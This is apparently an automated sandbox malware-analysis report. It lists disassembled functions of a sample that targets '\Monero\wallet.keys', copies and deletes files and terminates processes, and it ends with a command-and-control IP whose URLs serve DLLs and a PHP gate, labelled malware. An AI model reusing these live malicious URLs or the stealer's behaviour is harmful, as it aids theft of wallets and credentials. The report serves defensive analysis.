Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 1c3e7b5379fb4374937e95f3c13fc0a8e411426423ebbf8e02fb9b3f5d0b62f7
Instruction ID: 973ca01539db514fec387bb694da3b5b249906abd1cf5efb77dc3f0af393784c
Opcode Fuzzy Hash: 1c3e7b5379fb4374937e95f3c13fc0a8e411426423ebbf8e02fb9b3f5d0b62f7
Instruction Fuzzy Hash: 4E3130B1D01218ABDB54EB94DC91FDE77BCAF44300F405189F209A6191DF746B48CFA6

Function 00BA87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00BB0E28,00000000,?), ref: 00BA882F
RtlAllocateHeap.NTDLL(00000000), ref: 00BA8836
wsprintfA.USER32 ref: 00BA8850

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Strings

%dx%d, xrefs: 00BA8847

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: d65d2101b67a22e3b544323531516e63add8116c88a88f5b0e811d4542c8f149
Instruction ID: e15de4a474cc3dad7a98ab3542fb15e8d4e83654ea128b3a3b09a9f48f66c7e8
Opcode Fuzzy Hash: d65d2101b67a22e3b544323531516e63add8116c88a88f5b0e811d4542c8f149
Instruction Fuzzy Hash: F7211DB1A45304ABDB04DF98DD45FAEBBB8FB48701F10815AFA05E7790C77999008BB1

Function 00BA8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00BA951E,00000000), ref: 00BA8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00BA8D62
wsprintfW.USER32 ref: 00BA8D78

Strings

%hs, xrefs: 00BA8D6F

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 01d3ad29118b0a1ff6e3fbd46f41540a0ceac6acae9a0aa9d2e6751dfe78b570
Instruction ID: 72fbe44df9ad3d4aa2c7778de1f09bd0be8666bf5e526b463b574f6632792884
Opcode Fuzzy Hash: 01d3ad29118b0a1ff6e3fbd46f41540a0ceac6acae9a0aa9d2e6751dfe78b570
Instruction Fuzzy Hash: 22E0ECB5A51308BBD710DF98DD0AE6977B8EB44702F008196FD09D7390DA719E10ABA6

Function 00B9D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BA8B60: GetSystemTime.KERNEL32(00BB0E1A,0063A510,00BB05AE,?,?,00B913F9,?,0000001A,00BB0E1A,00000000,?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BA8B86

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B9D481
lstrlen.KERNEL32(00000000), ref: 00B9D698
lstrlen.KERNEL32(00000000), ref: 00B9D6AC
DeleteFileA.KERNEL32(00000000), ref: 00B9D72B

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 38b603ae7b5fb617577baebe73a4e653f726cafd2023065225cdc44c35ec44d2
Instruction ID: b8009d74175c2ac0e39626be9fd48f6462420d59f832239b3398e10a8ca6405b
Opcode Fuzzy Hash: 38b603ae7b5fb617577baebe73a4e653f726cafd2023065225cdc44c35ec44d2
Instruction Fuzzy Hash: CF912172914108ABDB44FBA4DC96EEE73BCAF15300F5085A9F507B6191EF346A09CB72

Function 00BA3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 0ed1e171ab5f82fe00638fe65688810cfe4236de1b4d97ae762cb80a1bc951e4
Instruction ID: 167a0c222397dc8b13d02bcd31af1e91b171fd7f8e84aed216e4983cb1725bcd
Opcode Fuzzy Hash: 0ed1e171ab5f82fe00638fe65688810cfe4236de1b4d97ae762cb80a1bc951e4
Instruction Fuzzy Hash: AD411E71D18209ABCB04EFA4D885AFEB7F8AF55704F148058F41677290EB75AA05CFA2

Function 00BA94D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00BA94EB

Part of subcall function 00BA8D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00BA951E,00000000), ref: 00BA8D5B
Part of subcall function 00BA8D50: RtlAllocateHeap.NTDLL(00000000), ref: 00BA8D62
Part of subcall function 00BA8D50: wsprintfW.USER32 ref: 00BA8D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00BA95AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00BA95C9
CloseHandle.KERNEL32(00000000), ref: 00BA95D6

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 054a2a6c7744afc65ab6827eff998d7925261256c6b0a98d2c517779cfcbf3d2
Instruction ID: b59688cb0bc1f774d3076aae0570d4fc0021b4795241b4327b173f0d38520be3
Opcode Fuzzy Hash: 054a2a6c7744afc65ab6827eff998d7925261256c6b0a98d2c517779cfcbf3d2
Instruction Fuzzy Hash: 1B316D71E05308AFDB14DFD0CC49BEDB7B8FB55700F108459E506AB284DB74AA89DB51

Function 00BA92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00BA3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00BA3AEE,?), ref: 00BA92FC
GetFileSizeEx.KERNEL32(000000FF,00BA3AEE), ref: 00BA9319
CloseHandle.KERNEL32(000000FF), ref: 00BA9327

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 8f5cf6cbc36c905c74d5a802e009d748b4aaac47ddc771868856b85064621ca5
Instruction ID: 0a252e3fafeac1152752abb16878251716716640c943bf13efb10dc8e81543eb
Opcode Fuzzy Hash: 8f5cf6cbc36c905c74d5a802e009d748b4aaac47ddc771868856b85064621ca5
Instruction Fuzzy Hash: C2F01435E44208BBDF10DBA4DC49F9E77F9AB48721F20C294AA51A72C0DA70AA019B54

Function 00BAC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00BAC74E

Part of subcall function 00BABF9F: __amsg_exit.LIBCMT ref: 00BABFAF

__getptd.LIBCMT ref: 00BAC765
__amsg_exit.LIBCMT ref: 00BAC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00BAC797

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 6c248da38cf8b5f75060d2c7071bc5fffb7f325c515f0c680fde01f8868fd30d
Instruction ID: 2edba4a4669a8edce93008255386452aaf4490c1901a3d8acea57f93778ff43d
Opcode Fuzzy Hash: 6c248da38cf8b5f75060d2c7071bc5fffb7f325c515f0c680fde01f8868fd30d
Instruction Fuzzy Hash: 6BF0903290C2009FD721BBB89806F5D3BE0AF02720F2441C9F414A71D3CFA45D409F9A

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
